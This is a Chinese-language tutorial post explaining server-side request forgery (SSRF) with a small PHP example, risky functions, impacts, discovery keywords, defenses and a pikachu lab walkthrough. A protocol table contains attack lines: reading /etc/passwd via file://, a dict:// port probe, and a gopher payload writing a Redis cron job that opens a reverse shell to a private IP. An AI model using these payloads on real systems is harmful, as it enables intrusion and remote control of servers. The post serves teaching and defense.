SSRF (Server-Side Request Forgery):服务器端请求伪造
先举一个例子:
对于这个网站(一个写的小例子,部署在phpstudy中访问的,这是为了理解)
它的参数url,我们通过它传入一个文件地址或者网址。它通过服务器的一个文件进行请求访问,并传回给浏览器。
还可以读取文件。
上面的网站代码用php写的,用到了curl(): 获取网页资源——爬虫、webservice——获取接口数据、FTP——下载文件 。 用它要将php.ini 中的extension=php_curl.dll打开。
还有其他函数也可能导致的SSRF漏洞。
函数 | 作用 |
---|---|
curl_exec() | 执行 cURL 会话 |
file_get_contents() | 将整个文件读入一个字符串 |
fsockopen() | 打开一个网络连接或者一个Unix套 |
接字连接 |
curl 其他协议:
协议 | ||
---|---|---|
file | 查看文件 | curl -v 'file:///etc/passwd |
dict | 探测端口 | http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306 |
gopher | 反dshell | curl -v’gopher://127.0.0.1:6379/_3%0d%0a%0d%0aset%0d%0a%0d%0a1%0d%0a%0d%0a%0a%0a%0a/1 * * * * bash -i >&/dev/tcp/192.168.142.135/44440>&1%0a%0a%0a%0d%0a4%0d%0a%0d%0aconfig%0d%0a%0d%0aset%0d%0a%0d%0adir%0d%0a%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a1%0d%0a%0d%0asave%0d%0a1%0d%0a$4%0d%0aquit%0d%0 |
dict协议:用于搭建在线字典服务
gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代
SSRF Server-Side Request Forgery服务器端请求伪造:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
危害- 扫描资产
- 获取敏感xinx
- 攻击内网服务器(饶过防火墙)
- 访问大文件,照成溢出
- 通过Redis写出WebShell或建立反d连接
1.爬取地址
2.查看是否请求了其他资源
也可以搜索关键字 :share、wap、url、link、src、source、target、u、
3g、display、sourceURL、imageURL、domain
SSRF-Tedting、SSRFmap 等 在github上下载源码去使用。
防御1、禁用协议
2、限制请求端口
3、设置URL白名单
4、过滤返回信息
5、统一错误信息
pikachu
点开,看到url中请求了一个地址,那我们能利用它去获取其他文件,
试一试,可以访问到百度。那它也是可以访问其他网站,包括恶意网站。
那我们还可以试试用伪协议去访问本地文件。可以读取到。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)